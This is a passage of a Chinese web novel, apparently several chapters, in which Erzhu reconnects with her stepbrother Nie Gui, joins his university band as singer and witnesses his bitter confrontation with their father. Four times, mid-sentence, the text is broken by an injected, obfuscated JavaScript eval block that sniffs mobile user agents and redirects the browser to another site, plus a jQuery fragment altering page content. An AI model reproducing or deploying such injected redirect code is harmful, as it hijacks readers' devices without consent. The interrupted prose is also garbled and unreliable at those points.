尔珠正要叫他,“哥哥”,但声音灭在舌尖上——他身旁站的是个扎马尾的女生,发梢拂到脊背正中,个头不矮,一张素净的椭圆脸,墨黑的眉峰,底下一双眼褶宽且深的眼,薄嘴唇里含着一根没燃的烟,正侧过脸,与他讲话。 话似乎谈完了,女生从外套口袋里掏出一包金桥,挤一根,分给聂归,自己则咔哒一声,按亮了打火机,在烟头上燎过,又伸过手,仰了仰下巴,示意聂归,而聂归只是把烟夹在指间,摇了摇头。 是女生先发现的尔珠。隔着荡动的衣裳,还隔着蓝暧暧的烟,她看一眼她,又看一眼聂归,问话时,眉尾轻扬:“你找谁?” 尔珠还没把眼光投向聂归,一片影子却向她拢来,是他两步迈上前,半挡在她面前,对女生说:“我妹妹。” 女生不太确定这个称谓的含义:“妹妹?” “我后妈的女儿。”聂归反手握住尔珠的手腕,对女生说,“你先回去,我和我妹妹讲两句话。” 等女生走后,他才转回头来看她。不似方才的疏离,他眼神亮了,有了光彩,脸上也捎了笑意,非是惊喜,而是一种意料之内的高兴,这叫尔珠有点忐忑。 他看着她的眼睛——尔珠不知他待别人是否也这样,只炯炯地盯着人眼睛看,专注得叫人羞赧。他说:“我听刘姨说了,你回来了。” 他顿了一下,似是一时有太多话,却不知从何讲起,只有思索时,他才把目光稍稍往旁移开,末了,又看回来,问她:“你不是在上学吗?” 尔珠听了这话,怔一怔,醒悟似的,忙把腕从他手中抽出来,一面往后退,一面说:“我要上课了,我先走了。” 话还没讲完,她一拧头,匆匆地往校门的方向跑去了,也不管身后聂归如何要叫住她。 她疾步往外走。秋天,空气里还残留燥意。 她心里嗔怪,怪他分明知道她回了国,也知她在隔壁上学,却从未来找过她、看望她。 许是走得太疾了,头发热蓬蓬的,浑身都沁出汗,微微地刺痛。她把手拿到下颌,扇着凉风,似是要挥散什么,譬如那扎马尾的女生的影子,同她嘴里喷出来的苍蓝的烟。 放学时,没料到聂归竟在校门外等她。他扶一架单车,闲闲地在家长间立着,又像大人,又像孩子。 尔珠顿了一顿,才几步走上去,他也就顺手接过她的书包,向她说:“我同赵伯讲了,叫他先走。今天晚上我送你回去。”尔珠空荡荡一身轻,与他并肩在人行道上走,略略有点开心。分别这么多年,两人之间似乎也没有生疏。 聂归找她,没有旁的事,仅是想与她讲一讲话。他先道歉,说自己本打算挑个好时间,知会刘姨,在家里安排一顿饭,他们三人好聚一聚,只是一直没有挑到好时候,今天既然都已经碰面,就择日不如撞日,带她去尝尝学校附近的餐厅。 尔珠听了,暗觉古怪,但一时没觉悟是哪里不对劲。 他也问一问其他的话,诸如为何她来了这个中学,“照理说,你应该被送到景山那边读书。” 尔珠答:“可能爸爸想让我们近一些。” 他沉默了,低头似在思忖,半晌没有言语,末了,转开话题,问起尔珠母亲的近况。 尔珠脸色微青,不自主地把割伤的手藏在背后,声音尖了些:“她很好。” 他总是很容易觉察她的不高兴,便不再问了,而是跨上单车,一边腿轻巧地支地,拗头,示意尔珠上车:“一时半会儿走不到,我带你。” 像小时候,侧坐在单车后座,尔珠犹豫一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713274|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,才把手臂展开,搂住聂归的腰,手指捏紧他的外套。 单车在人流与车流里划行,像矫夭的燕子,把两边的景色拖出抽略的线。清风吹开头发,胸中的郁积才逐渐消融。 不过,这种闲适的心情没保持多久,就又破灭了。 等餐厅上菜时,聂归接了个电话。从音筒里,尔珠隐隐听到,辨出是个女声。她一头在格纹桌布上拿指甲轻轻地刮,一头观察他脸上的表情,从那松快随意里读出,对面是他的熟人。 她捱着,本意是想等他讲完电话,便像寻常妹妹一样,随口关切一句“是不是交了女朋友”,可真等通话结束,她问出地却是:“是谁给你打电话?” 他答:“同学,社团认识的。” “她找你做什么?”许是觉得这话生硬,她又补一句,“是有急事吗?” “没什么事,她安排活动日程,通知我一声。” “什么活动?” 这一句,像是把他问住了,他为难时,总爱微微抬起一边眉毛,迟疑一阵,他笑着,把眼光转去一边,把指尖去来回地滚一支筷子,答了话:“她组了个乐队,缺鼓手,我答应她,可以暂时补位,做两场演出。” 尔珠讶异。她模糊记起更年少的事,她总觉得聂归学鼓并不是太甘心,想不到他竟还坚持到了现在。这样想着,她便也问出口。 聂归说:“没什么别的事做,只有这一样消遣。”说完,他又笑道:“我这位同学,你今天刚见过。” 尔珠立刻想起烟雾后那一对黑亮的眼睛。她思忖片刻,问:“你们什么时候排练?” 下意识的,聂归把筷子架在左手虎口与指节上把玩,笑问她:“知道这么详细做什么?” “想知道我可不可以一起去。”尔珠微微倾前身子,脸上含着笑。她自知生得美,人生里想要的东西,除了当真要不来的,大都不必恳求才能得到。最像撒娇的,莫过于她现在脸上的神态。 他几乎就要伸出手,去按她的额头,但忍住了,说她:“别给我做这副样子。”他毕竟当过几年兄长,最懂她的心思。 他侧开脸,去看自己指间飞旋的筷子,一支木筷子,在他手里转得像带影的飞镖。“啪”一声,他把筷子轻扣在桌上,动作静了,末了,他长叹一口气,无奈地说:“我们这都是玩闹,你见了,也不过看个笑话。” “看笑话?”尔珠困惑,继而,才慢慢想明白:原来,聂归是这样看待她的。 许是小时候的经历,他赋予了她一种始料未及的权威。或许她当真在音乐上有才能,却从未被认真对待过。得到的赞美,往往是长辈自上而下、鼓励式的——她是当红歌剧演员的女儿,谁又能质疑她的“才华”? 她学钢琴,不过是因为母亲要替她寻个消遣,再说,谁不愿意有个穿着漂亮裙子、在镁光灯底下弹钢琴的女儿?母亲那样的人,能给她打算的前途,顶多也就是在社交圈里替她找个好归处,把她从弹钢琴的女儿过渡成弹钢琴的妻子。 她看清了,也就厌于作这为父母颜面添光的工具,对音乐的兴致也消减,如今,已有好些年没碰过钢琴。想不到,这个世界上,竟还有人真心认可她,把她当作一个天赋异禀的人来看,且不是待孩子那样的。 她一时觉得荒谬,几乎要笑出来,一时又心底温热。 她感觉受了尊重。 9. 008 最终,软磨硬泡,聂归还是答应了她,许她周末时来看排练。 晚餐后,他应诺送她回家。夜风凉,她脖子里冷飕飕的,聂归听她喊冷,把外套脱给她穿。那衣服对她而言很宽大,要她把拉链收到顶,再把领子扯上来,堆在脸边,才挡得住风。 衣服纤维里织的都是一股暖郁的香气,她简直不能明白,男生的衣裳怎么能这样好闻。而且,她敏锐地觉察,衣服上并没有一丝烟草味。 进了院门,她很轻快地从后座跳下来,几步跃上台阶,向他招手,要他回家里去坐坐。 聂归手臂上搭着外套,连脚撑都未拨下,他扶着单车,远远地站着,向她笑,压低声音说:“回去晚了有门禁。” 尔珠指一指门里:“刘姨在里面。” “嗯,我知道。”他披上外套,还是跨回车座,扬一扬下巴,道别:“我走了。” 排演在周六下午,乐队租到了学校的空剧院。聂归在剧院门口接她,替她撑开防火门。 台上已摆好了各样乐器,吉他、贝斯,甚至麦克风都是乐手们自带的,只有架子鼓,据聂归说,家里的鼓搬不出来,他是向学校社团借的。 头顶上只开了一盏暗的白灯,溶溶的光,刚够看清每个人的脸。她一眼就看到正当中挎着贝斯的马尾辫女生。她正把脖颈低着,脚轻轻点节拍,手在贝斯弦上扫动,听声音。见到聂归与尔珠,她也是只是抬头,点了一下,算打个招呼。 聂归同尔珠介绍,她是乐队贝斯手,曾泽,似是想到什么好笑的事,他勾一下嘴角,忍住了,又补一句:川渝人。 曾泽把手伸出来,握尔珠的手,很有力道地晃一下,说话听不大出来口音,但嘴唇开阖的幅度极小,像口腔里含着什么东西:“谢谢你来当我们乐队的第一个观众。”接下来,就不由聂归管了,而是曾泽接替他,介绍乐队其他成员。 接下来,自然是主唱。主唱也是个女孩子,头发蓬蓬的,烫成玉米须,眼圈画着乌沉沉的眼线,有点溶开了,在白灯下仅突出一双大得骇人的眼睛。她光裸的胳膊上套着铃鼓,一边手扶着麦克风,向尔珠打招呼时,手臂上一阵叮啷啷的响。 她“呀”地叫一声,称赞她:“好漂亮的小姑娘,像那个……那个法国的电影明星——” 曾泽冷不丁补一句:“阿佳妮。” “对对,就是阿佳妮,”主唱咯咯地笑,手伸过来,去摩挲尔珠的肩膀,又扬脸冲聂归笑道,“聂归,你知不知道你妹妹长得像阿佳妮?” 聂归已逛到架子鼓后头坐住了,身子往一边侧,检查部件,舞台后部黑幢幢的,她看不清他的表情,只能听到一句“你们别打趣她”,说完,他歪过头,去戴滤音耳塞。 尔珠早注意到,虽然聂归在她面前自自然然的,可却不是个合群的人,这一支乐队里另外三个人,他似乎也只与曾泽关系好,其他人,他都是疏离的,几乎不带正眼看。 独与曾泽熟悉,尔珠并不乐见,总觉得像剥夺了自己的独特性似的。 看这边热闹,吉他手也凑过来。他样子并不出众,头上扣一顶蓝色鸭舌帽,着装打扮叫人疑心是做环卫工人的,但尔珠第一眼见他,心里并不排斥,他照样很为她的相貌吃惊,但没直勾勾盯着她看,也不上下打量。他把袖子套半截在手掌上,也要同她握手,尔珠犹疑一下,才伸出手,浅浅地握了一握。 曾泽讲,吉他手和他们不在一个学校,而是她从外面请来的,坐车来这边得半个钟头,很辛苦。 吉他手搔一搔脑袋,说:“主要是和泽姐投缘,能进这种高等学府排练,我也很荣幸。” 尔珠去台下坐着,当她的观众。她悄悄盯着曾泽看。从来很少有贝斯手做乐队领队,可她无法否认,曾泽有一股很韧的劲头,忍不住叫人怕她、信她。而她始终做了不了这样的人。 她悄悄摆一摆脑袋,要把这个念头甩出脑海——无论如何,组乐队,总要是音乐好才行。 乐队先演的是前人的曲子,PinkFloyd的AnotherBrickintheWall,削短了第一个Part,两个Part连着演。 一个乐队演另一个乐队的歌,多半不是冲着复刻去的,而是往往根据乐队习惯,或是现场情况做调整。贝斯先起的调,吉他而后调和进去,女声开始低沉地吟唱,最后才是鼓。这一场里,对曲子最熟悉的,是贝斯和主唱,似乎已磨合有一段时间了,吉他有点赶,时不时还错漏,鼓虽然准,但却只是打最简单的节奏。 尔珠听得出来的问题,曾泽也觉察得到。等头一次练完,她便走过去,与吉他手说了两句话,吉他手连连点头,末了,她又拗回头,吩咐聂归,试着按原谱来。等到再练时,情况好上了不少。 之后又演了几首别的歌,都是英美乐队的曲子。打从去了美国,尔珠几乎不曾像这样留心听过音乐了。此刻,童年时的感觉都回来了,音乐在她脑海里展开如一匹针脚清晰的绸,每一声响都有来处,有去处,只可惜,乐队新建,时不时有突兀的声音冒出来,打断她的思路,尤其是主唱和吉他,两个人,似乎全然不对付,一个往东,一个往西。要尔珠说,主唱的毛病更明显,她唱歌太自由散漫,心绪满天飞,和灯下的蛾子一样,扑棱棱的,捉不住。 一支曲子,演到一半,曾泽忽然抬手,喊停,叫主唱的名字:“你唱时听一下别人的调子。” 主唱“哦”一声,不是很情愿受批评,但还是捺住了,等再开演时,她别别扭扭把自己往乐器声里合,听起来,甚至连先前的自然也没有了。 曾泽当然又叫了停。主唱两只手扶着麦克风,耸着两肩,两只眼撑圆,看曾泽:“又怎么了?” 曾泽说:“你好好唱歌,不要赌气。” 这话一出,空气都滞了两秒。 主唱把目光环看一圈,面子上终于挂不住了。她说:“你怎么光挑我的毛病?” “你冷静一下,我没有针对你。”曾泽仍平平静静地讲道理,给主唱分析她唱歌上的问题。 主唱却还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713275|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是打断了她:“要我说,弹吉他的问题更大,你怎么不管管他?” “他的问题我之后说。” “那你还是先拿我开刀,”主唱冷笑一声,“因为我跟你关系更好,说我,就不得罪人。” “够了,”背景里,聂归摘掉半边耳塞,很冷地冒出一句:“今天是不想排练了吗?” “是,”主唱把手里的麦克风一搡,一只手匆匆去褪胳膊上的铃鼓,冲着曾泽尖声气地说,“下次你找个更专业的弹吉他的,再来找我!”她把铃鼓往地板上一丢,当啷啷一阵炸响,惊得尔珠几乎就要站起。 主唱把头一摆,大步地走下舞台,推开防火门。外头的昼光很快地亮了一个方形,她头也不回的走了进去。光很快就灭了。 曾泽长长地出一口气,一只手掌合在脸颊上,一手握举着贝斯颈,丧气地蹲在地板上。 吉他手走过去,试探地叫她:“泽姐?”他要去拉她的胳膊,“你没事吧?”聂归也从架子鼓后走出来,要来看她情况。尔珠不好再坐着,便迟疑地站起来,犹犹豫豫,向台上走。 曾泽蹲在灯光下,头顶一圈绒绒的白光晕,眉眼则都埋在阴影里。她静了片刻,忽然含糊地说:“找什么时候不好,她挑这个时候跟我吵架。” 吉他手还要劝慰她,却听她拿川话骂一声:“我靠,口腔溃疡疼死了。” 据曾泽的说法,她是长智齿,磨花了口腔壁,生了溃疡。 今天闹得不愉快,她说,主唱是她的室友,等她晚上回了寝室,主唱气消了,她再好好与她说开,现在,她决定,要请尔珠同乐队其他人吃牛油火锅。 聂归似是习惯了她这个样儿,吉他手却还大惊小怪:“长了溃疡,还吃火锅?” 曾泽向他科普,溃疡就是要刺激它,才好得快,以及辣味就是一种痛觉,云云。 聂归却忍着笑,说:“她就是图个爽。”尔珠看了他一眼,没说话。 拾掇了乐器,曾泽与吉他手并排走前面,聂归与尔珠在后面,一同往校外的地铁站走。聂归照样和尔珠说一些话,往往是他问,她答,主题不外于家里的、校里的事。 他并不乐于向她谈音乐,尔珠也看得出来,他对乐队的事,远远没有曾泽上心,做鼓手,显然只是顺手帮朋友一个忙,这阵子玩过后,或许就只当个爱好,偶尔取过来排遣一下。 到了火锅店,三个刚成年的人,齐齐照顾尔珠这个未成年,请她先点菜。 尔珠不善吃辣,牛油火锅,更是碰也没碰过,点了几样蔬菜,便把菜单递还给曾泽。聂归嘱咐一句“她不吃辣”,曾泽已拿铅笔在鸳鸯锅后头的小方格了打了个勾。 火锅桌上,曾泽和吉他手讲乐队的事,与聂归讲学校里的事,偶尔也谈一谈新闻和八卦。她学的是法律,聂归学哲学,常碰面的地方,只有社团,但谈起话来,却一点隔阂都没有,也丝毫不冷场。当然,她也偶尔带一下尔珠,只是两人太不熟悉,仅仅只是曾泽问两句,尔珠简短地答一声,便过了。 10. 009 尔珠坐在最里的角落,脚交叠地向后勾着,静静地听他们三人说话。 汤底嵌进了炉子,骨碌碌地烧冒起泡,辛热气一绺地直钻进顶灯里去。灯把乐队的三个人扩在里面,白茫茫的光烘着他们的面目,像油画里独突出主角们的技巧。 尔珠想起与聂归二人的少年时期,聂归当然也有旁的朋友,却不曾真与谁亲近,心里藏着事的人,往往都是这副样子。可如今,他仿佛忽而一下子开阔了、轻松了,过往都不大重要了,他有了自己的人生。可她还落后着一截,还躲在自己的彀里,不肯出来。 抑或,是因为她还没有长到足够的年纪。 她从未如此清晰地意识到,自己还是个孩子。 饭后,聂归与曾泽平摊了账。曾泽提议去唱KTV,虽然嘴上不说,但大略室友的事惹得她很郁闷。 吉他手自然是捧场的,尔珠本以为聂归不凑这种热闹,可他却意外地应承下来,末了,还问她是不是想先回家。尔珠说不愿意。她不肯承认,打一开始,她就在心里提防曾泽,倒不是为别的什么,只是相较于她,如今的聂归,与曾泽,模样更像同类人。 KTV里彩球光斑是辛涩的紫,流过几人的面孔。吉他手最先抢麦克风来唱,挑的是一首九十年代初的华语摇滚,等前奏时,他指着显示屏上模糊的人影说:“看到没,孟匀,我偶像。” 曾泽笑了,说:“也是我偶像。” 她补充说:“小时候,他和Hour来我家乡演出,专给我在贝斯上签过名,我现在还留着那把贝斯。” 吉他手发出艳羡的喟叹,说自己当时年纪太小,只听说Hour的大名,却从未听过现场,后来孟匀退队,可能以后再也没有机会看原装Hour上舞台演出了。 聂归回脸看尔珠,尔珠不明所以,他就把手揉一揉她头发,说:“你初中时也爱听的。” 回忆一下子击中她,她恍然,说:“是你架子鼓老师的乐队主唱?” 吉他手一听,瞪大了眼睛,问聂归:“小鸥教你的架子鼓?” 他干脆连歌也不唱了,扑上来问他:“你怎么能请到小鸥当师傅的?他不是宣称不收徒弟的吗?” 聂归似不大情愿提起:“我阿姨给我安排的。” “你阿姨是谁啊?能请动小鸥?” 曾泽打断吉他手的问话:“去,去,唱你的歌,那么多问题做什么?” 吉他手咋着舌头,脑袋往显示屏的方向转,眼睛却还把聂归盯了好一会儿,又是羡慕,又是惊奇。 一首歌唱完,吉他手把麦克风往沙发上坐着的三人里递,问,下一首是谁点的。曾泽接过麦克风,吉他手往沙发上一倒,从牛仔裤口袋里掏出一包烟,自己拈一根,曾泽伸手挟一根在指间,他坐近了聂归身边,一只手递烟过去,要分他,一只手“咔吧”一下,橘光在暗里一撇,他揿开打火机,要点烟。 聂归却挡住尔珠,说:“你俩,抽烟都给我出去,别给我妹妹吸二手烟。” 曾泽笑说:“行,我不抽,学你,就拿着玩玩儿。” 吉他手却摆手,说:“唉,我瘾大,忍不住,先出去了。” 吉他手推门出去,尔珠微微扬起眼睛,看自己的哥哥。 她渐渐明白,为什么今天明明做的都是她甘愿的事,却还偏偏这样不开心。 他向来是照顾她的,可只是当作妹妹照顾。至于她,回到中国,有了父亲与刘姨,她不再缺亲人,可她缺朋友,她也想做他的朋友,而且是独一无二的那一个,最亲近、最要好的朋友。 曾泽一手夹着烟,一手把着麦克风,含含糊糊地唱着歌。她其实不太会唱歌,白嗓,兼又口腔里生溃疡,吐词都黏糊,连成一片,等到间奏,她忙去玻璃案上捞了一杯冰水,咕噜噜喝两口,含在嘴里,鼓起腮帮子,镇口腔里的疼。 忽然,尔珠把身子倾前,凑过去,向曾泽说:“姐姐,我可以唱下半段吗?” 今天尔珠来,凡事都是在听安排,陡然这一下主动,叫曾泽愣一下。 她回头看显示屏,那是一首冷门的老歌,尔珠这个年纪,也许听也没听说过,而她却要接替她唱。 间奏要演完了,曾泽也来不及细想,把麦克风递到这个年轻女孩子手里,自己退到一边,端着水,慢慢地饮。 聂归也好奇,问她:“你会这首?”尔珠坐在沙发上,向前稍稍抻着身子,盯着显示屏,没答话,她轻轻的跟着调子哼了两声,便照着歌词唱了起来。她确实从未听过这支歌,偶尔词还念错,但每一声却都正正好踩在对的拍子上。 她唱歌,气不够绵长,却很懂得避短,用技巧去填,音拿得准,情绪也浑然一体地稳。歌不难,甚至直白,却给她唱出了宛转沉思。 一曲唱罢,她仍牢牢把着麦克风,向曾泽报歌名,从那些最要技巧、音域跨度最广的曲子开始报,她说:“姐姐,这些我都会唱。流行歌,我只要听一遍,就唱得出来,你可以随便挑一首考我。” 紫光斑流过她白皙的脸庞,映亮那双剔透的蓝眼睛,她问曾泽:“我可不可以当你们乐队的主唱?” 这事,曾泽不好拿主意,先询问聂归。 聂归也为难,对尔珠说:“你现在在上高中。” 曾泽倒先反对了:“我上高中时也在酒吧常驻演出。” 尔珠说:“我周末和放学后有时间的。” 聂归又问:“你空闲时不学习了吗?” 曾泽听他这么关心尔珠学业,困惑,问他:“你空闲时还学习?我以为,以你们的家庭,北京的大学都随便进。” 聂归扶额头,说:“我分数是过了学校和学院招生线的。” 尔珠说:“我可以转艺术方向,乐队排练就当练习。” 曾泽微微颔首:“听起来可行。” 听了这话,聂归改了策略,向曾泽说:“你既然这么支持,那你就收我妹妹当主唱吧。” 这一下,又归曾泽苦恼了,她嘶地抽了一口冷气,说:“这事,我还得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713276|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去想想。” 被聂归看穿了最难的地方,其实,曾泽没法答应,她还有室友要安抚。 尔珠却坚定了想法,一门心思要做乐队的歌手。她不要只在哥哥的学校隔壁读个高中,除了课业与家事,就再没有什么话可讲。 没有共同语言,怎么做朋友? 正好,聂父最近在家,尔珠便把自己的想法全向他说了。 她对这位继父也是惧怕的,却与怕第二任继父不是同一种理由。相较后者的轻浮浪荡,聂归的父亲更有父亲的样子,慈威并重,而威又常常向着聂归,对她几乎是有求必应。尔珠由是学会,只要不过分,她有任何要求,都可向这位父亲求出口。 听了她的话,聂父很高兴,做歌手,做艺人,对他们这样家庭的孩子来说,都是再安稳不过的选择。 他一面拿瑞士军刀给尔珠削苹果,一面问:“怎么忽然想唱歌了?” 尔珠把聂归在乐队里做鼓手的事说了,她说:“哥哥的乐队缺一个主唱。” 聂父顿了一下,面上哈哈一笑,说:“聂归这小子,倒出息了。” 他把苹果剜成块,剔到碟子里,拈一根牙签,扎给尔珠:“你随你妈妈,天生就是当音乐家、艺术家的。” 第二天下午,声乐老师就被请到了家里。聂父同对方握手,又拍肩膀,嘱咐:“好好教,再给国家培养一个歌唱家。” 尔珠头一次被这样寄予厚望,不由得又羞赧,又高兴。窗外淡明的天,把聂父的影子印在她身上,她觉得受了庇护。 尔珠这头准备得好,曾泽那里出了大问题。 本来乐队组出来,就是要演出,挣演出费的。吉他手与三里屯的酒吧老板相熟,二人商量好,允许曾泽的乐队周末去吧里演出,这日程就紧张了。 曾泽回去劝室友,也顾不上情理对错,径直赔礼道歉,请对方回队里担任主唱。室友倒不是不愿回来,只是为难,难听的话已经说出去,她面子薄,拉不下脸面向吉他手道歉,便梗着脖颈,放言,如果吉他手还在队里,她就决不回去。 她说:“一个从树村里来的,都不知道高中有没有读完,你就这么放心放他在队里,不怕他给你惹出什么麻烦?” 曾泽当时脸色就青了。她直言:“不是每个人都有条件和运气把学上完的。” 于是主唱归队的事彻底告吹。 大致是周二,尔珠放学,这一次,等在门外的人成了曾泽。 她嗅得出尔珠的天赋,也清楚,聂归态度很明显,他并不愿意叫妹妹掺和乐队的事。显赫如聂归的家庭,一支寂寂无名的乐队很难被他们当作好去处。 曾泽不好直接开口,左思右想,采取迂回战术,来了高中校门前,径直请尔珠,问她,前几天说想做主唱,还当不当真。说完,她把眼光在尔珠肩两边的背包带上转了两转,脸上不自主显出羞愧的神色,补上一句:“功课不要担心,我帮你免费补习。” 尔珠抿着嘴,笑了,说:“好啊。” 11. 010 周三就有排练,尔珠没直说加入乐队的事,而是央求聂归再带自己看一次排练。 相邻的校门因事封锁,聂归骑车来接她。坐在后座,尔珠忽然唱起歌,曲子是曾泽写的,词是聂归配的,很简单一支小歌,聂归听了,车龙头一崴,险些没叫两个人跌翻下去。 他匆匆刹停了车,拗过腰,问尔珠从哪里听来的,问话时,还是一贯扬起半边眉毛,不寻常的时,他耳尖全红了,这时候,尔珠恍然觉得他们又回到了从前上下学的时光。 她笑着,仰起脸,笑声像银子一样清脆,她说:“哥哥,我是你们乐队的新主唱了,以后请多指教。” 等到了空剧院,聂归一刻不停,握着尔珠的手腕,撞开防火门,去找曾泽理论。这时候,曾泽终于拿出了领队的气势,表示,乐队需要一个新主唱,而尔珠正有意愿,能力也匹配,双向选择的事,有利无害,又不是结西式婚,不是聂归喊一个“反对”就能反对的。 聂归憋了半天,最后能据的理只有一句:“我妹妹还有高考。” 尔珠却说:“我要学声乐,去考音乐学院,爸爸也同意了。” 不知是哪句话起了效,聂归静下来,甚至神态有点冷了:“他同意了?” “对啊,”尔珠观察他的脸色,“爸爸很支持。” “行,”聂归松开尔珠,略退开一步,向曾泽说,“我妹妹做主唱我没意见,但还是和约定一样,我只演两场。你还是趁早找一个能常驻的鼓手。” 曲子只有粗陋的旋律,词也只写一件很小的事,讲在秋的白天抛一枚硬币,唱这首歌时,尔珠并不理解当中有什么特别的意味,再者,她的心思已飘到一边,困惑于父亲与聂归的关系。 她看得出来,每次一提到父亲,聂归举止言语里全是抗拒。她努力从记忆里打捞二者相处的片段,她承认,聂父待聂归严厉,但每次也算事出有因,她这些年不在,也不知这对父子间还发生了什么。她难以归咎于任何一个人。 排练了几天,眼见到了要演出的周日。曾泽打算早上再在学校剧院排演一场,场地都租好了,要去检查时,负责人却临时变卦,说学校出了新规,剧院不再供任何私人目的的表演排练。练习时长其实也够了,曾泽作罢,而临近演出两个小时,聂归那头出了更麻烦的事——一直向他借架子鼓的社团忽说架子鼓有损坏,需要修理,暂时不能出借。一般的乐器倒不必担心,奔乐器店再购一副也方便,但这个点了,能卖架子鼓的店几乎都打了烊。 聂归先是给老师小鸥打了个电话,看能不能向他借,可三个电话打过去,对面理也没理,或许正在演出。曾泽也请吉他手,向酒吧老板问,是否有额外的鼓可供使用,吉他手也问了,回信说没有。 焦头烂额之际,尔珠问,为什么不能回家取?她记得聂归卧室应该还藏有一架鼓。 出租车打到院子外,尔珠先下车,聂归缓了一会儿,请司机先在原地候着,末了,才从车上下来。 远远地望着家房子窗户里透黄的灯光,聂归仍迟疑着,向尔珠说:“你能不能先回家,帮我看看谁在家里。”接着,他补充:“如果只有刘姨一个人,你就给我发个消息,然后把她引到一边,我去楼上取鼓,省得她看到我,又跟人说。” 尔珠知道他在躲父亲,便问:“如果爸爸也在家呢?” 聂归闭了闭眼,说:“没有办法,只能说运气太差。” 尔珠还是先去替他打探。进了门,正见刘姨在客厅里看电视,环视一周,没有其他人声,父亲书房与卧室都黑空着。不自觉,她也长吁一口气,向刘姨打个招呼,一面佯作往自己卧室走,一面悄悄取出手机,给聂归发一个OK的手势。到了房门口,她忽然向刘姨说,自己实验课做了个新鲜玩意儿,请刘姨进她卧室里去看看。刘姨自然高兴,随她进卧室里去了。 一面和刘姨讲话,尔珠一面还留意听着门外,估摸着什么时候聂归能拆完鼓,装了箱,运出门去。 不知过了多久,大概是十分钟,也许是十五分钟,门外陡然“咚”一声巨响,砸得尔珠心脏扑通乱跳。 刘姨也听见了,目光往门的方向投,尔珠连忙上手去牵她,还想把她的注意力掣回来,但目下是不可能了。刘姨站起身,拧开门,去看是什么情况。从刘姨与门框夹出的缝隙里,尔珠先是看见聂归,他脚边卧着装了鼓的黑箱,一只手里还牢攥着另一方箱子的拉杆,显然正要出门去,却不知出了什么差错。 忽然,客厅里传来另一个人的声音:“你这副样子做什么,我又没拦你。”是父亲。 尔珠从座椅上站起来,脚踩上地板,腿肚子几乎是软的。刘姨往外走,叫着聂归的小名:“小归,你什么时候回来的?也不说一声。” 尔珠也忙随她出去,正撞上哥哥投过来的眼神,他正在看刘姨,神色复杂。 末了,他转开目光,盯着前方的人,说:“行,那您别堵门口。我行李多,怕撞着您。” 对面哈哈一笑,说:“你小子,多大了,还拿我当敌人呢。”他向尔珠努一努嘴,说:“你妹妹,想学声乐,转天老师就能请到家里。你加乐队的事,我多说了一句吗?” 尔珠听聂父提乐队,不知为何,心里不安地猛跳一下,生怕他讲出,是自己把乐队告诉了他。但聂父没明说,聂归也似乎习惯了他知道自己的动向,没有多问,只是冷笑一声,说:“是吗?那您既然忍了,就一直忍着,别又整出高考志愿那档事儿。” 聂父手背在身后,把目光在装鼓的箱子上遛了两圈,说:“你现在在学校,不挺开心的吗?”他说:“我不是你仇人,我又没害你。” “是,是,您没害我,”聂归几乎要笑出来了,但眼睛里还是冷怒的,“是我想和您当仇人。我怎么才能和您当仇人呢?”他侧弯腰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721408|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拎起地上的鼓箱,“和您断绝关系,行不行?” 刘姨叫一声,又责备,又心疼:“小归,你对你爸说什么浑话呢?” 聂归没睬刘姨,只是向尔珠看了一眼。她几乎是一下子就惊觉,那一句“断绝关系”,是他藏于心中、久久未向任何人讲明的、最真心、最迫烈的话。收回目光,聂归不再停留,一只手拖拉杆,一只手拎黑箱,径直往门外走。此时,父亲也把眼光向尔珠投来,似是要看她作什么反应。 她心里一阵狂跳,脚向外迈了两步,又被牵扯住了。 一边是照顾她、关怀她的刘姨,对她有求必应的父亲,一边是看似赌气出走的哥哥,理智告诉她,留下来,好好待在家里,安慰一下刘姨,也劝一劝父亲,没有他们,她依旧被困在美西的烈日下,依旧惶恐于无家可归,他们是家人,也是恩人,可是—— 她再往外迈一步,眼见聂归的身影就要隐没在夜色里了,一阵难明的预感如夜的凉风,顶上心头:如果她不追上去,此后,两人之间所有的路,都只可能是陌路。 